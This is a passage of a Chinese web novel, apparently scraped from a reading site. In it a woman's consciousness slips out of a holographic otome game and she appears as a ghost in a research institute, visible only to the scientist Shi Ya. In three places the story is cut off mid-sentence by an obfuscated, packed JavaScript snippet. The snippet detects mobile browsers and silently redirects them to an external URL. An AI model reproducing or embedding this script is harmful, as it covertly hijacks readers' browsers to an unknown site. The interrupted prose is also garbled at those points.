《全息乙游求生攻略》 1. 闪亮恋心，堂堂开服 乙游，全称乙女游戏，意即第一人称少女视角下，与众多性格、形象各异的男主发生形形色色的故事，攻略其中一个、乃至多个的游戏类型。 而全息游戏，则是指通过脑神经及全身多感官连接共享，玩家躺在包裹住全身的游戏仓内，精神完全进入游戏世界，在虚拟空间中沉浸式享受真实的视听、触感，甚至味觉的突破性游戏技术。 银河历716年，在科技的不断进步下，游戏公司柘木游终于开发出号称有上百名可攻略对象的、全球首款开放大世界全息模拟乙游《闪亮恋心》，经历了整整一年的神秘内测后，正式开服当天，顺理成章地挤爆了所有服务器。 “请选择您的初始形象。” 拥有柔软音色的新手引导声像是从天外响起，被隐隐流动着银蓝色细闪的黑色虚空包围着，韩挽星和楚潇冉的面前分别升起一个悬浮的精美更衣室，半透明的光线逐渐汇聚编织，组成了两人的虚拟形象“毛坯”。 “呜哇，好精致。” 楚潇冉猛地凑到虚拟的自己面前，目不转睛地打量。 “你是在夸你自己吗？” 韩挽星笑着调侃她。 “闪亮恋心”的初始虚拟形象取材自玩家的真实样貌，在此基础上提供各种各样的调整选项，从身高体重，到发色瞳色，细到一根眉毛的位置，都可以由玩家自行调整。 当然为了防止在乙游世界出现过于惊悚的拟人甚至非人形象，游戏也会限制一定的调整范围，从而达到柘木游号称的，帮助玩家在“最大限度保留真实自我”的同时又能积极享受到恋爱游戏的快乐。 “什么呀，我只是在夸游戏建模好而已！” 楚潇冉撇撇嘴，迅速投身于捏脸大业中。她和韩挽星是现实好友，连全息游戏舱都放在一起，两人做什么都要组队，也因此发现在游戏仓好友组队的情况下同时进入游戏，登录界面也都在一起。 这里调一点，那里调一点……眼睛再大一点吧？哇我的脸配这个刘海也太丑了，换掉换掉…… 目前“闪亮恋心”对于同一个游戏账号，只支持建立一个角色，同一时间，楚潇冉与韩挽星，跟全球的几乎所有玩家动作同步，每个人都在精心雕琢，满心期待，力图以自己最完美的面貌走入这个充满未知的的恋爱冒险游戏。 与楚潇冉快要把自己盯瞎的细致不同，另一边的韩挽星先是把自己的虚拟形象从头到脚每个部位碰了一遍，才慢条斯理又大刀阔斧地开始了调整—— 全息游戏里的捏脸，几乎是现实意义上的“捏”，玩家只需要碰一碰角色的身体部位：脸颊、头发、嘴唇，就会自动弹出可选择的调整模式，调整大小和方向的方式可以是直接手动，也可以使用传统模式，像以前的平面游戏那样拖动手边的进度条调整。 至于颜色，玩家的眼前会出现一个巨大浮空的、五彩斑斓的调色盘，色相、明暗、饱和度，又或者各种形式的渐变，混合，都可以任意调整组合，韩挽星尝试了一下现实中完全不会考虑的水蓝色和浅杏色，最终选定了后者。 “我差不多了。” 楚潇冉一回头，被眼前脱胎换骨一般的全新韩挽星吓了一跳。 “啊啊啊啊挽星，你好美！” 楚潇冉尖叫起来。 眼前的女孩高挑、纤细，鼻梁高挺，眼睛大而有神，身材也是完美，而同时“她”又确实具备韩挽星本人的相貌特征，比如跟其他人相比更薄一点的嘴唇；眼尾上挑，显出妩媚和狡黠；眉毛调细了一点，却保留了原生走向，在眼睫上方划出一道略平直的弧度，斜飞入微卷的前发中。 纯黑空间里，丝绒装点的更衣间是光线唯一的聚集处，流光溢彩的浅色长发柔软地披在脑后，发尾无风自动。“她”就这样静静地站在更衣间的圆形立台上，一呼一吸间，仿佛是个真实存在的人类。 “不错，真不错……你调好大啊，果然还是要下死手才能出效果！”楚潇冉的头像拨浪鼓似的在真人韩挽星和角色之间来回转，啧啧有声， “我怎么搞了半天都没什么变化！” “这就是你平时连自己照片都懒得p、全部扔给我的下场。”韩挽星面无表情，掰着楚潇冉的肩让她转回去面对自己的角色。 “最后再给你10分钟，赶紧调完进游戏了！” 她故意装出不耐烦的语气，逼得楚潇冉哭丧着脸又回去捏脸，随后转过头，与这个近乎想象中完美的自己静静对视。 调很大……吗？当然啊。韩挽星自嘲地想。 如果不是对现实中的自己有这样那样的不满意，又怎么会那么期待现在的重新开始呢？ 韩挽星30岁，孤身一人在魔都打拼，本该是事业小有所成的时候，她所就职的企业却因为国际局势和政策性问题，突然遭受重大打击，直接进入断臂求生、苟延残喘的状态。 而她也成为了“被牺牲”的那一部分，在领取了一笔不菲的赔偿金后，离开了繁华的中心街区，跟同学兼好友的楚潇冉合租，被迫暂时“休息一下”。 正是在这个时候，“闪亮恋心”开始了铺天盖地的宣发，什么“全球首个”、什么“开放大世界”、“可攻略对象超过三位数”……在大数据的加持下，无论韩挽星走到哪里，打开什么软件，都能看见这个游戏的海报—— 明媚的蓝天下，几个长相帅气、穿着和气质各不相同的男人向你伸出手，可与通常的游戏不同的是，他们的动作延伸出屏幕外，打破屏幕，牢牢拉住镜头前的你。 “打破次元的限制，让你感知爱人的体温。” 韩挽星心动了。 她玩过很多游戏，对抗类、经营类、文字冒险类、角色扮演类……乙游当然也玩过，但几乎每个游戏都是三分钟热度，在某个瞬间意识到屏幕背后的那个人永远只能作为游戏公司的一个商品、也无法存在于现实之后，情感也就慢慢淡去了。 但这一次，或许不一样……因为生活的现状焦虑到睡不着的夜里，韩挽星一遍遍读着宣传页面上极具煽动性的文字： ——现实世界一比一打造，完全真实的触感，超越现实的体验； ——为你才存在的世界，与你一起探寻爱与存在的意义； ——让我们的梦大到装下整个世界； …… 或许真的有这么一个不属于真实世界的角落，能够让人暂时忘记一切烦恼，获得心灵的平静，哪怕只有一瞬；或许这个号称采用了划时代技术的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317849|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏，能够赋予一个造物无限接近于自己理想的生命…… 最终，韩挽星还是斥巨资买来了全息游戏仓，在游戏开服当天，跟好友楚潇冉一起带上头盔，准时开启了感官连接，来到了这里。 回忆进入尾声，楚潇冉也终于完成了自己的调整。 她原本身材娇小，现在自己的角色则直接“旱地拔葱”般长高了10厘米，而脸还是与原生的近似，圆圆的眼睛与韩挽星正相反，眼角是微微下垂的，显得无辜又可爱，脸颊的肉比本体少了一些，下巴拉长了。发色配合挽星，挑选了雪白的颜色，发型上则保留了自己的自来卷，看上去像一朵绵软的小白云。 其实还是有点不满意，但她决定到此为止。 毕竟再等下去挽星看起来要爆炸了。 楚潇冉吐了吐舌头，进入下一个环节。 “挽星，你名字起的什么？” 可能出于初次尝试的谨慎，或是想要从真实感出发，游戏团队没有选择在新手教程单独搞一个起名字的环节，而是在登录页面就要求玩家起好名字。 楚潇冉探头过去，看见韩挽星的角色面前已经浮现出一个半透明的发光名牌，上面只有简简单单的两个字： 晚星。 “还是用真名的读音吧，更有代入感一点。”韩挽星道。 然而楚潇冉永远不会放过任何一个皮一下的机会。 “我偏不，” 比起捏脸时的无从下手，潇冉起名的速度要快得多，韩挽星只来得及看到输入界面闪过一瞬，她的角色面前便也浮现出跟自己一样的名牌： 你祖宗我又。 “呃……” 韩挽星欲言又止，最后还是选择闭嘴。 反正等到过剧情实在受不了的时候，她还是得花金币把名字改正常…… 其实不管是捏脸、名字，或是其他系统自带设定，在游戏过程中都是可以随时回到登录界面修改的，至少刚刚友善的新手指引声是这么告诉她们的。现在的慎重，主要还是出于两人的仪式感。 “好了！” “好了。” 虚拟空间内，韩挽星和楚潇冉分别在自己刚刚创建完毕的角色面前站定，庄严而兴奋地点下浮在半空中的确定键。 “角色创建成功，” 轻柔的指引声再度响起。 “祝您——游戏愉快。” 话音落下的瞬间，韩挽星感到自己仿佛被一股巨大的力量吸引，整个人向前跌去，与此同时，包裹着更衣间的丝绒帷幕尽数落下，无数细小的光线、挟着巨量的信息流般的光点，争先恐后地冲破黑暗，闯进韩挽星眼中，引导着她、裹挟着她，落入新的世界—— 唔……！ 迎接她的却并非宣传海报中阳光明媚的恋爱都市。 “这是……什么地方？” 韩挽星觉得自己的意识似乎在迁移的过程中断片了，感官连接很可能也出现了问题，因为此时的她即使尽全力睁大了眼睛，也看不见任何东西。 漆黑一片，比刚才登录界面更纯粹的黑暗，韩挽星从自己的游戏经历做出合理推测，这绝不可能是一个乙游的正常开头： 自己遇到bug了！ 2. 出师不利 看不见，听不见。 整个人好像在深海里、在太空里、不、比那些还要糟糕，甚至感觉不到自己四肢的存在。 五感的缺失让韩挽星进入此生最恐慌的状态。 我现在在哪里？还能恢复吗？ 游戏的报错机制健全吗？有人能知道我的情况吗？ 会有人来救我吗？ 此刻韩挽星除了后悔，还是后悔：明明知道全息游戏的技术还不成熟，明明知道新游戏第一时间开服一定会有很多问题，为什么不等一等更新维护、多看一看反馈，到万事俱备了再进来？ ——我只是想玩个游戏，我不想死啊！ 韩挽星在这一刻体会到了灭顶的绝望，求生的本能让她一刻不停地拼命尖叫和挣扎，可她依旧听不见自己的声音，她猜想自己可能已经把声带喊裂了，也可能实际上半点动静也没有发出来。 我不要死……我不要莫名其妙死在这里……虽然现实生活也没什么好的但也没有要直接重开的意思，葬礼上肯定会有人嘀嘀咕咕说我是玩游戏玩死的，说不定还会上新闻，而我甚至还没玩上这个游戏—— 我不想死，我不想死我不想死我不想死我不想死我不想死我不想死—— 终于，似乎是在身心的恐慌和精神的崩溃之下达到了极限，韩挽星眼前伸手不见五指的黑暗突然变成刺目的石火电光，伴随着能够震破耳膜的尖锐噪音，她感到自己冲破了什么束缚，猛地向上一窜！ 砰！—— 。 “……又是什么情况？汇报！” “不好了，36号处理器异常！” “卧槽，快去喊时总监啊！” “时总监还在20号那边看问题——” “那也去喊！赶快！！” 狭窄、燥热的房间。 灰色的墙壁，和铺满整个墙面的屏幕，房间中央巨大的、冒着白烟的黑色机械。 穿着工作服，戴着墨镜，像没头苍蝇一样挤在一团、显得很焦急的人们。 还有自己。 明明就站在黑色机器旁边，来来往往的人却都默契地无视了突然出现的韩挽星，好像那里根本没有东西存在一样。 这是……哪里？我怎么了？ 韩挽星懵懂地伸出手，往离自己最近的灰衣工作人员面前一挥，结果意料之外而又情理之中地，手臂直接穿了过去。 韩挽星，在全息模拟乙游“闪亮恋心”公测开服的当天，被正式确诊为幽灵。 “啊啊啊啊啊啊——” 然而或许是之前五感全无的状态耗尽了她的绝望，此时的韩挽星在惊慌之余竟然感到一丝诡异的平静。 别人看不到自己，总比刚才连自己都看不到自己好吧！ 韩挽星一边努力自我安慰，一边开始在屋内乱飘，试图找出一些线索确定当前的所在。 “不知道这里还是不是B市，飘回家远不远……我还能赶得上我的葬礼吗……” 遗憾的是，无论是这些人工作制服上的logo，还是屏幕上不断乱跳的代码和图案，韩挽星甚至连机器上的标签都找出来看了，结果却是一无所获。 不只是没有地址线索，甚至连这上面的文字都不认识。 “这到底是哪国字？不会给我干出国去了吧？……可是他们说话我又听得懂诶？”韩挽星艰难辨认着那些歪歪扭扭的鬼画符，腹诽道。 这边韩挽星在挣扎的同时，屋内的气氛也越发焦灼。大黑盒子显然是一个非常之重要又没有人能搞得定的东西，在装模作样重启了两次无果以后，众人甚至不敢上手拍，只能围成一圈面面相觑，仿佛摆阵做法。 “啊啊啊怎么办？36号连了那么多……一定会出问题的！”其中一人挠着头，语气相当绝望。 “今天出的岔子还少吗？咱们肯定不会是最严重的。”另一人面色灰败，看上去已经放弃了挣扎，眼下的黑眼圈显得人无比憔悴。 “等时总监来吧，他来了就好了！” 韩挽星像个真正的幽灵，飘在一边围观，她的位置正对着房门，那里只开了一扇很小的玻璃窗，隐隐约约从走廊上透进来红色的闪光，似乎是报警灯。 看来情况真的很危急啊……可这里到底发生了什么呢？ 由远及近的脚步声响起的时候，韩挽星脑内也突然闪过一个假设。 “等一下，虽然是很少见的开头，但考虑到这种超自然的现状，还有全球首个的含金量……我从刚才为止，不会一直都——” 房门被从外面猛地打开，发出沉重的金属撞击的声音，一个男人风风火火走进来，步伐将身上的白大褂带起一道弧度。 “——在游戏里吧？” 进门的第一个瞬间，对方与韩挽星完美对上了视线。 ！！ 对面好高，目测至少有一米八五，顶天立地快要超过门框的高度，骨架和肌肉将他的衬衫饱满地撑起来，修长的双腿包裹在西装裤里，视觉比例惊人，五官的立体感更是犹如刀刻。 此时房门大开，走廊的报警红灯尖啸着旋转明灭，在他高挺的鼻梁反复投下阴影，而他一双眸子藏在尖锐眉骨下，冷峻无机质的神情仿佛目空一切，又好像是已经看透了世界上所有的秘密。 韩挽星本能地一个箭步上前，几乎贴上他的脸。 “你是来救我的吗？这里是哪里？他们到底在做什么？我怎么了？我死了吗？你有办法救活我的吧？你……” 沉默。 死一般的沉默。 实际上从眼神猝不及防与韩挽星对上的瞬间，男人就进入了完全静止的状态。 除了大家都听不见的、韩挽星急切的声音，整个房间也跟男人一同陷入了彻底的沉默。 “时、时涯总监……？”终于有人忍不住，小心翼翼地出声提醒。 韩挽星看见男人眨了一下眼，一副好像刚刚回过神的状态，然后，在挽星期待的眼神中—— 坚定地朝着大黑盒子迈出了脚步。 “这里是怎么回事？” …… ………… 工作人员们倒是明显松了一口气。刚才时总监一进来就呆住，他们还以为发生了什么连总监都没见过的史诗级大事故，头都快吓飞了。 面对提问，众人心惊胆战地把现状如此这般一说。 “……大概就是这样，时总监，您看这个36号处理器，现在是个什么问题？” “小问题。” 时涯语气像吃饭喝水一样平淡，只见他伸手对着黑盒子表面一块完全没有凸起、也没有指示图案的地方按了几下，盒子侧边突然弹出一个小小的机械键盘。 他在键盘上连续输入了几次，像是发动了什么指令，一边观察屏幕上飞速翻动、犹如乱码一样的文字的变化，很快就下了定论。 “希格斯场发生器正常，谐振频率也正常。今天突发的真空零点能涨落确实引发了所内设施的大规模报错，但你们这里只是人为的低阶操作失误而已，不要大惊小怪。” “谢天谢地！”大家顾不上被阴阳怪气，直到此时才总算安下心来。 “接下来我会重新校准36号所在的扇区，暂时利用其他休眠中或尚有残余算力的通道协助处理信息熵湍流，其他行政性的工作你们自己看着办。” “是！” 众人领命，火速行动起来，而时涯的眼神牢牢钉在屏幕上，从刚才开始就没有一丝偏移。 再也没有跟韩挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317850|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星对上过。 “等、一、下！” “等一下等一下，你是假装看不见我对不对？” 韩挽星尖叫着调转方向，再次扑到时涯鼻子跟前。 “你刚刚明明看见我了！你一开门就看见我了！” “为什么无视我？喂！！——” 过量的分贝令时涯操作键盘的手明显地抖了一下。 “你手都抖了！” 看不见是一回事，明明看见了却竟然假装没看见，韩挽星的愤怒简直溢于言表，也顾不上刚刚才赞美过这个男人的脸了，如果现在能够拥有实体，她恨不得给时涯一头槌。 可惜她现在还是个“幽灵”，即使铆足了劲撞过去，也只能原模原样从时涯身体穿出来。 于是她又见到时涯整个人停顿了一下。 “别装了！你明明看得见！——”韩挽星怒吼。 她快被气死了。 叫不醒装瞎的人，她只能全力给时涯添堵，一会儿大声唱歌、一会儿唱戏，突然声情并茂地重现离职之前的最后一次述职报告，然后用尽力气辱骂魂蛋上司和魂蛋同事。到最后韩挽星飘上天花板，对着白炽灯泡的灰尘引吭高唱魂蛋之歌，已经完全沉浸在自己的艺术中，不知天地为何物了。 效果不能说没有，虽然时涯依然在努力无视韩挽星，但他额头上的青筋是越来越明显，看得一旁的工作人员的心再次提了起来。 “时总监……是又发现了什么新问题吗？” “没有！” 时涯唰地站了起来，语速和动作都快得反常。 “剩下的你们自行解决。” 时涯迈着大步目不斜视地走出房间，韩挽星自然是紧紧飘在他身后，谁让这里只有他一个人看得见自己呢！ 走廊上也不断有人和时涯打招呼，得益于他平常就是一副扑克脸和烂脾气，加上今天大概是因为那个什么真空涨落引发了大问题，大家只觉得他看起来格外不好惹，并没有人胆敢上前询问具体的原因。 “这么离奇的经历，应该只会发生在游戏里了吧……可是真的会有人把乙女游戏做成这样吗？这样的开头也太地狱了吧？” 韩挽星仍然对自己现在到底身处何处充满怀疑，努力呼唤着游戏操作界面。 全息游戏中，虽然画面和声光感都可以做到与现实几乎完全一致，但为了保证玩家能够充分区分现实和游戏世界、随时随地脱离游戏，不管是什么类型的游戏、玩家以什么形态出现，大家身上都一定会带着主操作环。 主操作环可以以光屏的形式呼叫出当前游戏的设置页面，也可以强行终止现在的游戏，直接跳回游戏仓画面、选择其他游戏。在现实世界中，主操作环与游戏仓通过有线的形式连接，是不会单独佩戴的。 这也就是为什么韩挽星偏向于认为自己大概率还在游戏里：她的主操作环一直牢牢戴在手上。只可惜无论她怎么戳，那块板子都毫无反应。 “总不能是新手模式强制过开头，把强退键都删了？策划是[哔—]吗！”韩挽星绝望地想。 在韩挽星尝试了一百零八种呼出菜单方式未果之后，前方的时涯意外地停下了脚步。 “——哎哟！” 韩挽星被吓了一跳，往后窜了一步，也忘记自己完全不需要躲了。等她飘回原位探头去看，发现对方背对自己，正在不停地小声念叨着什么。 “……这个世界是唯物的、科学的，世界上没有鬼，世界上没有鬼……” “你说什——” 韩挽星听不清，正准备再转到他面前，时涯突然叹了很大一口气，认命似的转过身，直直与韩挽星对视。 “——请问这位小姐，你一直跟着我，到底有什么诉求？” 3. 交涉 这里是走廊的尽头，监控死角，时涯直面韩挽星，他面色苍白，眉心抽动，本就棱角分明的脸显得更加严肃。 他确信以自己的知识和情感的素材库，即使是幻觉、幻听、精神分裂，哪怕是最癫狂的梦境里，也无论如何无法创造出眼前这样一个立体、完整，拥有十分具体的学习经历及坎坷工作经历的女性形象。 无视的办法也行不通，她已经从36号服务器的房间一路跟到了这里，搞不好会跟到天涯海角。因此就算时涯知道这是非科学地、非理性地、不合逻辑地，他也必须停下来，尝试了解对方的意图。 “请问这位小姐，你到底有什么诉求？” 韩挽星才不管这些。 对面终于愿意交流，对韩挽星来说已经属于阶段性胜利，她眨了眨眼确认时涯是在跟自己说话，随即欢呼一声，整个人像个网球一样贴着走廊四壁高速飞行起来，好像已经习惯自己这具没有重力的身体了。 “时涯，你叫时涯对吗？” “这里是哪里？” “为什么只有你能看到我？” “你知道我是为什么变成这样的吗？” 每飞过一次时涯头顶，韩挽星就扔下一句问题，时涯忍无可忍，可手伸出去捞到两把空气，又碰不到她，只能恨恨插回白大褂里。 “先下来，你这么晃不头晕吗？” “完全不会！”韩挽星倒挂在墙上打量时涯， “你还没有回答我的问题呢。” 她没有提关于游戏内外的话题，因为如果这里真的是游戏里的世界，这些事先设定好程序的npc也不会知道真相、更没有办法回答自己。 这个世界看起来已经很脆弱了，韩挽星不希望再因为自己的提问把唯一有点线索的npc弄短路。 按照韩挽星的游戏经验，只要能解开一点线索，或许就能开启下一个事件、升级，或者怎么都好，前进一步，然后离开这里。 在韩挽星满怀期待的目光下，时涯眉间的川字越拧越深。 “我叫时涯，但在确定你的真实身份之前，这个地方、以及此地正在进行的工作，都无可奉告。” “我对你的身份来历完全一无所知，但似乎确实只有我能看见你并且和你交流，如果你的确需要帮助，在我能力范围之内的话，我会帮你。” “呜哇——也太冷冰冰了吧！”韩挽星从墙上一骨碌翻下来，试图用头槌攻击穿过时涯的身体，被对方应激一样的反应速度躲开了。 “我就是不知道需要什么帮助才会来找你帮助啊！” “现在难道不应该瞬间拿出什么法宝让我回归肉身然后我们美美开启下一个场景去寻找真相并在其中培养起深厚的感情吗？” “——你这样是当不了乙游男主的……”韩挽星嘟囔着，一边在空中把自己拧成各种角度去撞时涯：她发现这样对方反应最大。 时涯看起来完全没听懂挽星的话，但确实被她的穿来穿去游戏搞得很无语，皱着眉试图闪避，“你、不要动手动脚！” “我现在是幽灵，动不了你的手脚，你也动不了我的。”韩挽星摇头晃脑指出他的错误。 “这有什么可得意的！”时涯简直莫名其妙。 “总而言之，要是你不帮我，我又没有别的办法，只能一直缠着你咯。”韩挽星双手一垂，脑袋也耷拉下来，阴恻恻地扮女鬼盯着时涯， “我就会一直注视你，直到……永远……” 不知道是吓的还是气的，总之时涯本来就没什么气血的一张脸更加白了。 “时总监？” 走廊另一头突然传来一道疑惑的声音，两人吓了一跳，时涯动作很大地一转身，成功让对方也是一惊。 “……陈主任。” 朝时涯走来的男人也穿着白大褂，年纪可能比较大了，飘在半空的韩挽星能看到他头顶隐约的白发。 “不好意思，我以为您刚刚是在跟谁说话。” 陈煜也还是看不见挽星，四下环视了一圈都只见到时涯一个人。 “这里是2层走廊唯一没有监控的地方，平时大家压力大得受不了，就有同事会到这里哭一哭，或者嚎一嚎。”陈煜腼腆地解释了一下自己出现在此的原因， “没想到时总监也会来这里。” 时涯张了张嘴，似乎想要辩解，但考虑了一下整件事解释起来的复杂程度，觉得还是让陈煜保持他的误会比较合适。 “陈主任是前辈，互相职级称呼就好，请不要加您字了。” 陈煜扯了扯嘴角，露出一个不太明显的笑容。 “是在为今天的真空能事故头疼吧？9号近期尚未联入任何场域，所以没受到影响，不过其他组恐怕都……” “确实混乱，看来今后需要推进真空能建模的计划了，到时候或许也需要陈主任的帮忙。”时涯点了点头。 陈煜有些自来熟地往时涯身侧的墙边一靠，平淡地扔出一个大新闻。 “下周我就要离开这里了。” “什么？” 时涯显得很惊讶，“为什么？你们组不是……” “我在这里已经七年了，时总监觉得七年意味着什么？” 疑问句，但陈煜自己显然已经思考多时。 “七年，等不来一个实验结果，却能让一个父亲错过孩子的初中、高中，所有成长的时间。” “爱人也在上个月跟我提离婚了，”陈煜试图再次扯起嘴角，但这次连苦笑都笑不出来。 “我等不起了。” 韩挽星没料到自己猝不及防听了一耳朵如此沉重的八卦，一时也静在原地。 “工作这方面，请不用担心，我已经把所有权限都移交给了组内，一些复杂的内容也录好了说明书，就算万一出现失误，相信以时总监你们的能力也足够应付。” “……我明白了。” 出乎韩挽星对于“上司”这种职级的刻板印象的预料，时涯对陈煜的选择并没有多做评价。 “你们组的工作，虽然之前没有直接参与，但我也有所耳闻，用递归式神经场方程处理情感单元的想法具有一定的开创性，如果是我，应该会愿意给更多支持资源。” “上层已经很慷慨了，”陈煜叹了口气， “可惜我们绕了整整五年的弯路，接入方程后，意识基元在情感量子态上的相干性演化又过于复杂，比预定大大拖慢了整体进度。” “是我的能力不足。” 眼看着陈煜越来越低落，时涯思考了片刻， “我会尝试申请，把9号纳入我直属，这样应该能最大程度避免交接期间发生事故。等今天的事故处理完毕，我亲自着手优化祂的拓扑相变结构。” “那样就太好了。”陈煜露出意外而感激的神情。 “没什么，我也是为了保障所有人的利益。”时涯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317851|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来丝毫没有同事临别的温情，干巴巴地抛出一些不知道算不算是挽留的话， “虽然你已经递交申请，我再说什么都与废话无异，但我还是想指出：你的家庭感情破裂已经是既成事实，错过的陪伴孩子的时间也无法回溯一遍，就算现在赌上你的全部事业及学术成就，也未必能够达成你的预期效果……” “——喂！”韩挽星忍不住了，“你现在这个时间戳人家肺管子、也太过分了！” 陈煜倒是露出一副果然如此的表情，摇了摇头。 “这些我都知道。” “像时总监这样目标坚定、又具备天赋的人应该很难理解吧，为什么总有人在做无用功，庸庸碌碌一生，到头来哪一边都抓不住，永远在后悔。” “但是人生于世，所作所为就无法完全用理性来衡量，你说我错过了，但我看到的是我做错了。而错误就应当道歉、补偿、改正，而且已经错了，就更不能继续错下去。” 一番话说得韩挽星这个吃瓜群众都惊在原地。 “哇……虽然根本不知道这位是谁，但是这个追妻火葬场的情节还蛮苦情的……” 与之相反的表现就是时涯了，他显然不具有共情这种深刻感悟的能力，表情一瞬间显得有些迷茫。还好陈煜完全沉浸在自己的悲伤中，也没有空注意其他人的反应。 “……不过，说不舍得也是不可能的，毕竟马上就快要出成果了啊。” 陈煜小声叹息，抬起头、目光穿过透明的韩挽星环视眼前狭窄的走廊，最终定在了远处的一个小门，韩挽星将之与自己刚刚待的36号房间对比，认为那里应该是他们谈话中的9号服务器。 “抱歉，我没有后悔的意思、我只是——”陈煜说不下去了，但又实在不想在时涯面前哭，他转身看了眼，确定对方没有挪窝的意思，只能假装吸鼻子，抬脚往外走去。 “时间差不多了，还得去找其他人交接，抱歉时总监，我先走了。” 陈煜离开的背影显得十分沉重，韩挽星联想到自己现实中也刚刚经历过一个忍无可忍的离职，不由得感同身受，表情也难过起来。 “你还站在那干什么？”是时涯的声音。 韩挽星抬起头，看见时涯仍是保持着原先直挺挺的站姿，只是神情也多了一些倦怠，他捏了一下鼻梁，朝韩挽星开口。 “如你所见，我今天很忙，麻烦你把自己的身份、以及为什么会出现在在这里的来龙去脉一五一十告诉我，我来找办法帮你。” 韩挽星觉得时涯的态度很有问题，但又觉得相比之前，现在又算稍微好了那么一丁点。 更重要的是，自己可能也确实没有时间再磨叽了。 没有实体，位置不明，仅能通过一个特定的陌生人才能与世界产生联系，或许再这么下去，自己真的会成为被所有人遗忘的孤魂野鬼也不一定…… 韩挽星本能地对自己的处境感到危险，她安静下来，完全收起刚才的嬉皮笑脸。 “你好，首先，我叫韩挽星……” …… “……我不知道这里是哪里，也不知道自己这是怎么了，在这个空间，能感知到我的存在的只有你一个人，如果你不愿意帮忙，我可能会浪费很多时间，造成更严重的后果。” 她声音有些发抖，但比害怕更多的，是破釜沉舟的坚定， “请你帮帮我，不管我现在是生是死，把我送回家。” 4. 时涯 不同于初次见面，这一次挽星把自己是如何进入游戏的部分也详细地告诉了时涯，虽然仍然很难说服自己相信自己现在身处现实，但为了自救，她必须把握住机会。 “非预期的意识体投射……错误在于量子隧穿效应下的虚拟拓扑结构失效……这也是真空零点能事故造成的副效应吗……可那个游戏的意识锚定算法到底……” 听到中途的时候，时涯的神情就发生了变化，嘀嘀咕咕不断冒出来的不明词汇像是正在帮助他将一切转化为他自己更为熟悉的场景。 好消息是他终于不再一副见鬼想跑的样子了，坏消息是现在他看韩挽星的眼神更像是在看一个奇妙的实验体…… 韩挽星感到半透明的背后汗毛倒竖，情不自禁往后飘了半格。 “你、你最好赶紧想出办法把我送走啊，不然我就会一直缠着你上班下班缠着你吃饭睡觉——” 韩挽星紧紧地盯着时涯，希望他能够顺利地想出办法，一边在心里想着如果这一切真的是正式游戏的内容，那等她出来一定要狠狠打差评。 这哪儿有什么游戏体验，不是单纯把我当猴子整吗？ 随着全息技术的发展，确实有一类标榜“技术流”的游戏会把融合游戏场景和现实生活的边界作为卖点，甚至有些会收集玩家的坐标信息，通过“以假乱真”、“假里藏真”的诡计带给玩家超凡的刺激感。但这种手法更多还是运用在恐怖、动作类游戏里。 比如有一部限制18+的恐怖游戏，会事先要求玩家尽量一个人在封闭房间内游玩，在体验了一大段惊险恐怖的异界剧情后，游戏会以心率过高的理由强制让玩家“下线”休息，但此时的系统界面只是游戏内嵌的一个假画面。 玩家以为自己已经脱下装备，离开游戏仓，可实际上他们仍然在游戏中，并将在接下来的一小时内，在一比一复刻玩家真实环境的房间中、迎来诸多恐怖和灵异事件。 然而“闪亮恋心”可是个主打恋爱的乙女游戏，怎么可能故意追求这种类型的现实感？ 可如果此时此刻真的是现实，那自己现在的状态又到底是怎么回事呢？ 万幸的是时涯好像比挽星更加理解现状，他转过身，白大褂的衣角在空中划起一道弧度，整个人大踏步往前走去。他脸色还是很白，但语气里逐渐有了自信， “如果我的猜测没错，简单来说，你所购买的那个游戏（“闪亮恋心是免费的。”挽星想要纠正他，但没有回应）处理相位同步的手法……不算高明，加上今天研究所发生的事故，皮秒级的阴差阳错，使你通过未授权的超维投射出现在了这里。” “所以真的是游戏事故？那我现在算什么？幽灵？我的□□怎么样了？为什么只有你能看见我？我还有可能复原、送回去吗？” 韩挽星听得半懂不懂，一着急，问题又像倒豆子一样不停地出现，时涯默默地叹了口气。 “首先跳过其他问题、回答最后一个：答案是可以。” 但还没等挽星欢呼，时涯又立刻泼了盆冷水， “——但要反向修正时序偏移，完整地、一个排布都不错地将你的意识数据流重新投入狄拉克海滤波器，需要至少一个核心服务器水平的希格斯场，目前所内的几乎所有服务器都在处理事故造成的影响，恐怕暂时分不出余力。” 韩挽星的眼睛瞪大了，时涯这整段话的中心思想，很明显就是“暂时做不到”的意思。 “那怎么办？是我要等的意思吗？要等多久？” “无法保证，抱歉。” 看起来时涯似乎打定主意宁愿牺牲自己，就算被烦死，也必须优先处理好研究所的这次危机。 韩挽星做了个深呼吸，努力理解现状，开始跟时涯讨价还价。 